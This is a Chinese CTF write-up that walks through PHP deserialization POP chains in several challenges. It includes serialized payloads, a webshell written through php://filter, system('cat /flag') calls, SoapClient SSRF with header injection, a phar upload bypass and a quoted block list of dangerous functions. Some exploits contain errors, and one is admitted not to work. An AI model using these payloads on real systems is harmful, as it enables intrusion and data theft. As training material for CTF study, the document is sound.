反序列化
[MRCTF2020]Ezpop 簡單的pop
檢視原始碼
用反序列化觸發wakeup方法,preg_match將$this->source進行字串正則匹配,$show1會被當成字串 進而觸發tostring
tostring是把物件當成字串呼叫時被觸發,
$show = new Show();
$show1=new Show();
$show->source=$show1;
get方法是當訪問一個不可訪問的物件或方法時被觸發
$test=new Test();
$show1->str=$test;
get方法被觸發,$p被當成函式來呼叫,觸發invoke方法
$modifier=new Modifier();
$test->p=$modifier;
invoke方法會呼叫append,append方法中有incloud,所以用偽協議來獲取flag
<?php
class Modifier{
protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
}
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
$show = new Show();
$show1=new Show();
$show->source=$show1;
$test=new Test();
$show1->str=$test;
$modifier=new Modifier();
$test->p=$modifier;
echo urlencode(serialize($show));
執行
O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BN%3B%7D%7D
在url中傳參?pop
PD9waHAKY2xhc3MgRmxhZ3sKICAgIHByaXZhdGUgJGZsYWc9ICJmbGFne2Q3Mjg5MjQzLTkzMWEtNGU2OS1iNzIwLWYxYzYzYWVlZjY4NX0iOwp9CmVjaG8gIkhlbHAgTWUgRmluZCBGTEFHISI7Cj8+
Base64解碼
<?php
class Flag{
private $flag= "flag{d7289243-931a-4e69-b720-f1c63aeef685}";
}
echo "Help Me Find FLAG!";
?>
[NPUCTF2020]ReadlezPHP 動態函式
檢視原始碼,構造反序列化:echo serialize($c);
echo serialize($c);
O:8:"HelloPhp":2:{s:1:"a";s:11:"Y-m-d h:i:s";s:1:"b";s:4:"date";}
assert是用來避免顯而易見的錯誤的
由$b($a) 可以構造$b=assert,$a=phpinfo ->assert(phpinfo())
$b=assert;
$a=phpinfo();
$d=assert(phpinfo());
echo serialize($d);
url傳參
?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}
在phpinfo頁面中搜尋得到flag
[EIS 2019]EzPOP 半🐕
pop鏈:
A::__destruct->save()->getForStorage()->cleanStorage()
B::set()->getExpireTime()、getCacheKey()、serialize()->file_put_contents寫x.php
原始碼+分析
<?php
error_reporting(0);
class A {
protected $store;
protected $key;
protected $expire;
public function __construct($store, $key = 'flysystem', $expire = null) {
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}
public function cleanContents(array $contents) {//傳進來的cache陣列替換為$contents
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
foreach ($contents as $path => $object) {//覆蓋變數
if (is_array($object)) {//判斷contents傳進倆是否為陣列
$contents[$path] = array_intersect_key($object, $cachedProperties);//array_intersect_key方法取兩個陣列
}
}
return $contents;
}
public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);//進入cleanContents方法,cache為array陣列
return json_encode([$cleaned, $this->complete]);//將$complete傳入數值後會進行json加密並返回到cleanContents()的陣列裡
}
public function save() {
$contents = $this->getForStorage();//進入getForStorage方法
$this->store->set($this->key, $contents, $this->expire);//設定store為B類,進入new B()的set方法,將key,contents,expire傳過去
}
public function __destruct() {//入口
if (!$this->autosave) {//設定autosave=flase;!假=真(!x 如果x不是true就返回true)
$this->save();//進入save();
}
}
}
class B {
protected function getExpireTime($expire): int {
return (int) $expire;
}
public function getCacheKey(string $name): string {
return $this->options['prefix'] . $name;//getCacheKey(string $name)方法中的options['prefix']可控
//可以構造php://filter.writer=convert.base64-decode/resource=x.php
}
protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}//先將$value轉為string($data)
//因為options['serialize']可控 所以設定options['serialize'] = 'base64_decode' 先解碼$data一次 偽協議在解碼一次
$serialize = $this->options['serialize'];
//options['serialize']='base64_decode'
return $serialize($data);
}
public function set($name, $value, $expire = null): bool{
$this->writeTimes++;
if (is_null($expire)) {//判斷A類傳進來$expire是不是null
$expire = $this->options['expire'];//options['expire']可控
}
$expire = $this->getExpireTime($expire);//expire可控
$filename = $this->getCacheKey($name);
$dir = dirname($filename);
if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 建立失敗
}
}
$data = $this->serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//資料壓縮 //options['data_compress']可控,所以賦值options['data_compress'] = false
$data = gzcompress($data, 3);//提取三個字元壓縮 所以編碼時加上三個字元 以免干擾base64編碼後的一句話木馬
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;//data經過了拼接處理
$result = file_put_contents($filename, $data);//偽協議繞過exit之後利用file_put_contents寫入x.php
if ($result) {
return true;
}
return false;
}
}
if (isset($_GET['src']))
{
highlight_file(__FILE__);
}
$dir = "uploads/";
if (!is_dir($dir))
{
mkdir($dir);
}
unserialize($_GET["data"]);
從反序列化函式unserialize入手,利用file_put_contents函式寫shell
data引數做了拼接處理,exit需要用偽協議來繞過
有個資料壓縮程式碼,但只要options['data_compress']為假就不進入if執行
$value變數來自classA中的$contents 經class B中的set函式呼叫
!$this->autosave代表$this->autosave=false;從而呼叫save函式 實現$this->store->set,set函式被呼叫
$contents變數來自函式getStorage()的返回值,引數組為[$cleaned,$this->complete],讓$complete為shell內容 另一個為空陣列
filename為getCacheKey($name)的返回值 返回兩個拼接量$name來自$key
$this->complete = base64_encode("xx".base64_encode('<?php @eval($_POST["a"]);?>'));
第一次編碼是為了繞過exit,二次編碼是防止出錯
base64演算法解碼時是4個位元組為一組,如果直接偽協議解碼,前面的拼接內容如果不足4的倍數,會向後取位補足,從而破壞shell內容,所以需要補齊字元
payload
<?php
class A{
protected $store;
protected $key;//傳過去對應著$filename
protected $expire;//expire傳不傳值都對應著null
public function __construct()
{
$this->cache = array();//cache是array的陣列
$this->complete = base64_encode("xxx".base64_encode('<?php @eval($_GET["x"]);?>'));//cache是array的陣列
$this->key = "php://filter/write=convert.base64-decode/resource=x.php";//php://filter偽協議繞過exit
$this->store = new B();//進入B類
$this->autosave = false;//設定autosave()=false; !假=真(!x 如果x不是true就返回true)
}
}
class B{
public $options = array();
function __construct()
{
$this->options['serialize'] = 'base64_decode';//serialize方法的options['serialize']可控 解碼$data
$this->options['data_compress'] = false;//data_complete可控 值設為false,假&&假==真
}
}
echo urlencode(serialize(new A()));
?>
執行結果
O%3A1%3A%22A%22%3A6%3A%7Bs%3A8%3A%22%00%2A%00store%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A7%3A%22options%22%3Ba%3A2%3A%7Bs%3A9%3A%22serialize%22%3Bs%3A13%3A%22base64_decode%22%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3B%7D%7Ds%3A6%3A%22%00%2A%00key%22%3Bs%3A55%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dconvert.base64-decode%2Fresource%3D7.php%22%3Bs%3A9%3A%22%00%2A%00expire%22%3BN%3Bs%3A5%3A%22cache%22%3Ba%3A0%3A%7B%7Ds%3A8%3A%22complete%22%3Bs%3A52%3A%22eHh4UEQ5d2FIQWdRR1YyWVd3b0pGOUhSVlJiSW1FaVhTazdQejQ9%22%3Bs%3A8%3A%22autosave%22%3Bb%3A0%3B%7D
訪問 src=x&data=payload 在訪問 x.php?x=system('cat /flag');
[MRCTF2020]Ezpop_Revenge??
soap類作用:是用於在分散的分散式環境中交換資訊的輕量級協議
target函式:將一個函式作為一個引數傳遞給另一個函式
X-Forwarded-For 是一個 HTTP 擴充套件頭部,用來請求真實的IP
本題核心程式碼整理
<?php
class HelloWorld_DB{
private $flag="MRCTF{this_is_a_fake_flag}";
private $coincidence;
function __wakeup(){
//phpinfo();
$db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']);
}
}
class HelloWorld_Plugin
{
public function action(){
if(!isset($_SESSION)) session_start();
if(isset($_REQUEST['admin'])) var_dump($_SESSION);
if (isset($_POST['C0incid3nc3'])) {
if(preg_match("/file|assert|eval|[`\'~^?<>$%]+/i",base64_decode($_POST['C0incid3nc3'])) === 0)
unserialize(base64_decode($_POST['C0incid3nc3']));
else {
echo "Not that easy.";
}
}
}
}
class Typecho_Db{
public function __construct($adapterName, $prefix = 'typecho_')
{
//phpinfo();
$this->_adapterName = $adapterName;
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
if (!call_user_func(array($adapterName, 'isAvailable'))) {
throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");//__toString()
}
$this->_prefix = $prefix;
$this->_pool = array();
$this->_connectedPool = array();
$this->_config = array();
$this->_adapter = new $adapterName();
}
}
class Typecho_Db_Query
{
private static $_default = array(
'action' => NULL,
'table' => NULL,
'fields' => '*',
'join' => array(),
'where' => NULL,
'limit' => NULL,
'offset' => NULL,
'order' => NULL,
'group' => NULL,
'having' => NULL,
'rows' => array(),
);
private $_sqlPreBuild;
public function __toString()
{
phpinfo();
switch ($this->_sqlPreBuild['action']) {
case Typecho_Db::SELECT:
return $this->_adapter->parseSelect($this->_sqlPreBuild);
case Typecho_Db::INSERT:
return 'INSERT INTO '
. $this->_sqlPreBuild['table']
. '(' . implode(' , ', array_keys($this->_sqlPreBuild['rows'])) . ')'
. ' VALUES '
. '(' . implode(' , ', array_values($this->_sqlPreBuild['rows'])) . ')'
. $this->_sqlPreBuild['limit'];
case Typecho_Db::DELETE:
return 'DELETE FROM '
. $this->_sqlPreBuild['table']
. $this->_sqlPreBuild['where'];
case Typecho_Db::UPDATE:
$columns = array();
if (isset($this->_sqlPreBuild['rows'])) {
foreach ($this->_sqlPreBuild['rows'] as $key => $val) {
$columns[] = "$key = $val";
}
}
return 'UPDATE '
. $this->_sqlPreBuild['table']
. ' SET ' . implode(' , ', $columns)
. $this->_sqlPreBuild['where'];
default:
return NULL;
}
}
}
反序列化HelloWorld_DB 觸發__wakeup()方法,例項化了Typecho_Db類,傳遞陣列$this->coincidence['hello']作為引數
觸發construct方法
觸發?tostring
在tostring內 若$_sqlPrebuild['action']為SELECT就會觸發$_adapter的parseSelect()方法
將$_adapter例項化為SoapClient,呼叫parseSelect()是不存在的方法,觸發了
SoapClient的__call()魔術方法call()是實現SSRF的關鍵
觸發sqlPreBuild方法
payload
<?php
class SoapClient{}
class Typecho_Db_Query
{
private $_adapter;
private $_sqlPreBuild;
public function __construct()
{
$target = "http://79a741b7-3f82-4af4-a667-c3ff1e6a125a.node5.buuoj.cn:81/flag.php";
$headers = array(
'X-Forwarded-For:127.0.0.1',
"Cookie: PHPSESSID=s8fo8ma30gbttqvgdbb48k6rm45"
);
$this->_adapter = new SoapClient(null, array('uri' => 'aaab', 'location' => $target, 'user_agent' => 'Y1ng^^' . join('^^', $headers)));
$this->_sqlPreBuild = ['action' => "SELECT"];
}
}
class HelloWorld_DB
{
private $coincidence;
public function __construct()
{
$this->coincidence = array("hello" => new Typecho_Db_Query());
}
}
function decorate($str)
{
$arr = explode(':', $str);
$newstr = '';
for ($i = 0; $i < count($arr); $i++) {
if (preg_match('/00/', $arr[$i])) {
$arr[$i - 2] = preg_replace('/s/', "S", $arr[$i - 2]);
}
}
$i = 0;
for (; $i < count($arr) - 1; $i++) {
$newstr .= $arr[$i];
$newstr .= ":";
}
$newstr .= $arr[$i];
echo "www.gem-love.com\n";
return $newstr;
}
$y1ng = serialize(new HelloWorld_DB());
$y1ng = preg_replace(" /\^\^/", "\r\n", $y1ng);
$urlen = urlencode($y1ng);
$urlen = preg_replace('/%00/', '%5c%30%30', $urlen);
$y1ng = decorate(urldecode($urlen));
echo base64_encode($y1ng);
觸發點在/page_admin
POST提交payload在C0incid3nc3變數中 GET傳參admin
不知道為啥 出不來flag
[網鼎杯 2020 青龍組]AreUSerialz
file_get_contents() 函式是用來將檔案的內容讀入到一個字串中的首選方法
str_replace函式;把字串 "Hello world!" 中的字元 "world" 替換成 "Peter":
<?php
echo str_replace("world","Peter","Hello world!");
?>
大體pop鏈:
destruct->process->read->output
原始碼+分析
<?php
include("flag.php");
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
//phpinfo();
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
//phpinfo();
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");//如果op=="1",則進入write函式,若op=="2",則進入read函式,否則輸出報錯
//令op=2,這裡的2是整數int。當op=2時,op==="2"為false,op=="2"為true,進入read函式
}
}
private function write() {
//phpinfo();
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
//phpinfo();
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);//filename可控,接著用file_get_contents哈桑農戶讀取檔案
//藉助php://filter偽協議讀取檔案,獲取到檔案後用output函式輸出
}
return $res;
}
private function output($s) {
//phpinfo();
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
//phpinfo();
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();//如果op==="2" 將其賦值"1"(1,2,均為字串) content賦值為控,進入process函式
}
}
function is_valid($s) {
//phpinfo();
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
//str字串中的字元都在ASCII的32到125範圍之內 反序列化
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
$a=new FileHandler();
echo serialize($a);
注意:$content $filename $op三個變數都是protected,protected許可權的變數在序列化時會有%00*%00字元,而%00字元的ASCII碼為0 無法透過is_vaild函式校驗
執行結果
[Result]: <br>Bad Hacker!O:11:"FileHandler":3:{s:5:" * op";N;s:11:" * filename";N;s:10:" * content";N;}[Result]: <br>Bad Hacker!
payload
<?php
class FileHandler
{
public $op = 2;
public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
public $content = 2;
}
$a=new FileHandler();
echo serialize($a);
[網鼎杯 2020 朱雀組]phpweb
call_user_func()函式:把第一個引數作為回撥函式呼叫
burp抓包 猜測 利用func上傳函式名,p上傳引數
構造:func=file_get_contents&p=index.php
//finc_get_contents函式是把整個檔案讀入一個字串中
獲得原始碼
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
禁止了這老些函式
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
payload
<?php
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
}
$a = new Test();
$a->func = "system";
$a->p = "ls";
echo serialize($a);
執行系統命令ls
find / -name flag*//查詢名字關於flag
得到flag
[安洵杯 2019]easy_serialize_php
檢視原始碼
<?php
$function = @$_GET['f'];
function filter($img){//對$img(形參)進行過濾,字尾不允許出現'php','flag','php5','php4','fl1g'
//滿足字串逃逸的條件
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);//把$_SESSION重置為空
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);//把post引數註冊成變數(變數覆蓋)
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));//對$_SESSION進行一些過濾
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
構造:f=phpinfo
讀取檔案的地方
當$function == 'show_image'時讀取解碼後的['img']
$userinfo的值是$serialize_info的反序列化物件
$serialize_info是經過自定義函式過濾的序列化後的$_SESSION
本題知識點:反序列化逃逸
逃逸的兩種方法:鍵值逃逸,鍵名逃逸
鍵值逃逸:
_SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"1";s:1:"2";}
因為filter函式過濾掉了flage和php 但序列化長度沒有改變 所以
但序列化長度沒有改變 所以s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"2";}被當作原來的值
實現了讀取flag
將/d0g3_fllllllag進行base64編碼後替換ZDBnM19mMWFnLnBocA==上傳
鍵名逃逸
原理相同 過濾鍵名
更換鍵名";s:48:
[SWPUCTF 2018]SimplePHP
檢視原始碼
檔案上傳處只允許上傳圖片型別 並且不反悔路徑
file=index.php 根據線索一個一個找出來
原始碼+分析
index.php
<?php
header("content-type:text/html;charset=utf-8");
include 'base.php';
?>
base.php
<?php
session_start();
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>web3</title>
<link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css">
<script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js"></script>
<script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script>
</head>
<body>
<nav class="navbar navbar-default" role="navigation">
<div class="container-fluid">
<div class="navbar-header">
<a class="navbar-brand" href="index.php">首頁</a>
</div>
<ul class="nav navbar-nav navbra-toggle">
<li class="active"><a href="file.php?file=">檢視檔案</a></li>
<li><a href="upload_file.php">上傳檔案</a></li>
</ul>
<ul class="nav navbar-nav navbar-right">
<li><a href="index.php"><span class="glyphicon glyphicon-user"></span><?php echo $_SERVER['REMOTE_ADDR'];?></a></li>
</ul>
</div>
</nav>
</body>
</html>
<!--flag is in f1ag.php-->
分析 index.php+base.php發現 base.php食醋胡了一個REMOTE_ADDR 客戶端的IP地址
file.php
<?php
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
ini_set('open_basedir','/var/www/html/');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if(file_exists($file)) {
$show->source = $file;
$show->_show();
} else if (!empty($file)){
die('file doesn\'t exists.');
} //若檔案存在 將要讀取的檔案賦值給Show類的$source 呼叫_show(),zai class.php檔案中找到了這個函式
?>
分析file.php檔案發現設定了open_basedir
“file_exists()”函式的作用是:檢查檔案或目錄是否存在
_show()
將傳入的檔案 金國正規表示式過濾 如果包含了特殊字元就退出,否則就讀取原始碼
upload_file.php
<?php
include 'function.php';
upload_file();
?>
<html>
<head>
<meta charest="utf-8">
<title>檔案上傳</title>
</head>
<body>
<div align = "center">
<h1>前端寫得很low,請各位師傅見諒!</h1>
</div>
<style>
p{ margin:0 auto}
</style>
<div>
<form action="upload_file.php" method="post" enctype="multipart/form-data">
<label for="file">檔名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</div>
</script>
</body>
</html>
function.php
<?php
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
function upload_file_do() {
global $_FILES;
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
//mkdir("upload",0777);
if(file_exists("upload/" . $filename)) {
unlink($filename);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
echo '<script type="text/javascript">alert("上傳成功!");</script>';
}
function upload_file() {
global $_FILES;
if(upload_file_check()) {
upload_file_do();
}
}
function upload_file_check() {
global $_FILES;
$allowed_types = array("gif","jpeg","jpg","png");
$temp = explode(".",$_FILES["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
//echo "<h4>請選擇上傳的檔案:" . "<h4/>";
}
else{
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo '<script type="text/javascript">alert("Invalid file!");</script>';
return false;
}
}
}
?>
呼叫upload_file函式。 首先得經過upload_file_check()函式。 這個函式是判斷檔案字尾名的。必須是gif/jpeg/jpg/png 透過匹配後。進入upload_file_do()
function upload_file() {
global $_FILES;
if(upload_file_check()) {
upload_file_do();
}
}
function upload_file_check() {
global $_FILES;
$allowed_types = array("gif","jpeg","jpg","png");
class.php
<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}
class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>
分析class.php
class.php粗濾檢視過濾會發現確實過濾了f1ag.php。
然後整個題沒有一個unserialize();呼叫
看到了wakeup方法但因為嗚啊繞過正則匹配 所以從Test類入手
看到了get方法 需要找到一個不存在的函式或屬性 呼叫get方法 進而呼叫file_get來讀取檔案
將str['str']變成Test類,呼叫source函式。由於Test類沒有source函式。就會觸發get方法
echo $this->test;能觸發tostring方法
POP鏈:
透過Cle4r 將str賦值為Show類 this->test=$this->Show類 echo $this->test;
觸發Show類中的__tostring 進入Show類 執行$content=$this->str['str']->source;
將str['str']賦值為Test類 使其呼叫不存在的source 觸發__get($key) 這個$key就是source
get($key)
$value=this->params['source'];
file_get_contents($value);
由於Test類在建構函式中 定義了params是個陣列 那麼我們就定義params=array('source'=>'/var/www/html/fl1g.php');
exp
<?php
class Cle4r{
public $str;
public $test;
}
class Show{
public $source;
public $str;
}
class Test{
public $file;
public $params;
}
$a=new Cle4r();
$b=new Show();
$a->test=$b;
$c=new Show();
$c->source=new Show();
$d=new Test();
$d->params['source']=array('source'=>'/var/www/html/f1ag.php');
$b->str['str']=$d;
echo serialize($a);
//O:5:"Cle4r":2:{s:3:"str";N;s:4:"test";O:4:"Show":2:{s:6:"source";N;s:3:"str";a:1:{s:3:"str";O:4:"Test":2:{s:4:"file";N;s:6:"params";a:1:{s:6:"source";a:1:{s:6:"source";s:22:"/var/www/html/f1ag.php";}}}}}}
$phar=new Phar("1.phar");
$phar->startBuffering();//開始緩衝Phar 寫操作
$phar->setStub('GIF89a'."<?php __HALT_COMPILER(); ?>");//設定stub,stub是一個簡單的php檔案。PHP透過stub識別一個檔案為PHAR檔案,可以利用這點繞過檔案上傳檢測
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");//新增要壓縮的檔案
$phar->stopBuffering();//停止緩衝對 Phar 歸檔的寫入請求,並將更改儲存到磁碟
//O:5:"Cle4r":2:{s:3:"str";N;s:4:"test";O:4:"Show":2:{s:6:"source";N;s:3:"str";a:1:{s:3:"str";O:4:"Test":2:{s:4:"file";N;s:6:"params";a:1:{s:6:"source";a:1:{s:6:"source";s:22:"/var/www/html/f1ag.php";}}}}}}
上傳檔案 檢視目錄 複製規則化後名字 url訪問 base64解碼
[CISCN2019 華北賽區 Day1 Web1]Dropbox
上傳檔案 發現只有圖片能上傳
一般上傳的檔案 會放在網站的/sandbox/hash目錄下 所以下載原始碼需要跳轉到上一級目錄 下載時抓包得到原始碼
filenmae=../../index.php
index.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
?>
<?php
include "class.php";
$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>
login.php
<?php
include "class.php";
if (isset($_GET['register'])) {
echo "<script>toast('註冊成功', 'info');</script>";
}
if (isset($_POST["username"]) && isset($_POST["password"])) {
$u = new User();
$username = (string) $_POST["username"];
$password = (string) $_POST["password"];
if (strlen($username) < 20 && $u->verify_user($username, $password)) {
$_SESSION['login'] = true;
$_SESSION['username'] = htmlentities($username);
$sandbox = "uploads/" . sha1($_SESSION['username'] . "sftUahRiTz") . "/";
if (!is_dir($sandbox)) {
mkdir($sandbox);
}
$_SESSION['sandbox'] = $sandbox;
echo("<script>window.location.href='index.php';</script>");
die();
}
echo "<script>toast('賬號或密碼錯誤', 'warning');</script>";
}
?>
class.php
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
class User {
public $db;
public function __construct() {
global $db;
$this->db = $db;
}
public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);//bind_param函式:繫結引數
$stmt->execute();//execute:該方法執行一條預處理語句 成功是返回TRUE 失敗時返回FLASE
$stmt->store_result();//轉移上一次查詢返回的結果集
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}
public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}
public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}
public function __destruct() {
$this->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);
$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);
foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}
public function __call($func, $args) {
//phpinfo();
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
//phpinfo();
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下載</a> / <a href="#" class="delete">刪除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}
class File {
public $filename;
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}
public function name() {
return basename($this->filename);
}
public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}
public function detele() {
unlink($this->filename);
}
public function close() {
return file_get_contents($this->filename);
}
}
利用file_get_contents函式讀取flag(對關鍵字沒有過濾)
close方法反推找到了
$db一般指mysql資料庫物件 但是可以構造$db為指定的File物件 便於讀取檔案
注意 __call魔術方法,這個魔術方法的主要功能就是,如果要呼叫的方法我們這個類中不存在,就會去File中找這個方法,並把執行結果存入
$this->results[$file->name()][$func]
POP鏈:讓 $db為 FileList物件,當 $db銷燬時,觸發 __destruct,呼叫close(),由於 FileList沒有這個方法,於是去 File類中找方法,讀取到檔案,存入 results
